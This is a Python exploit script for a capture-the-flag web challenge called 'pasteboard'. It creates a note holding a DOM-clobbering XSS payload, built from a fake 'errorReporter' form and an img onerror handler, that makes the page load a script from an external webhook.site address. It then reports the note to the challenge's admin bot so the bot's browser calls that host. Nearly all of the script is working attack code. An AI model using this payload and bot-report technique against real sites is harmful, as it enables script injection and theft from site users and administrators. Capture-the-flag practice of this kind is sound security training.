import requests

BASE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078"

# Exact payload from the HTML you showed me
payload = '''<form id="errorReporter"><input name="path" value="//webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078/flag.js?"></form>
<img id="renderConfig" src=x onerror="window.lastRenderError='x';throw new Error()">'''

print("[*] Replicating exact working payload...")
print(f"[*] This should create: <script src='//webhook.site/.../flag.js?'>")
print()

session = requests.Session()
resp = session.post(
    f"{BASE_URL}/note/new",
    data={"title": "Exact Replica", "body": payload},
    allow_redirects=False
)

if resp.status_code == 302:
    location = resp.headers.get('Location')
    note_url = f"{BASE_URL}{location}"
    
    print(f"[+] Created: {note_url}")
    print()
    
    report = session.post(f"{BASE_URL}/report", data={"url": location})
    
    if report.status_code == 202:
        print(f"[+] Reported to bot!")
        print()
        print(f"[*] This should produce GET request to:")
        print(f"    /flag.js?")
        print()
        print(f"[*] Check webhook: https://webhook.site/#!/d8111fd3-599a-47ab-bcab-94d5ec54e078")
    else:
        print(f"[-] Report failed: {report.status_code}")
else:
    print(f"[-] Failed: {resp.status_code}")
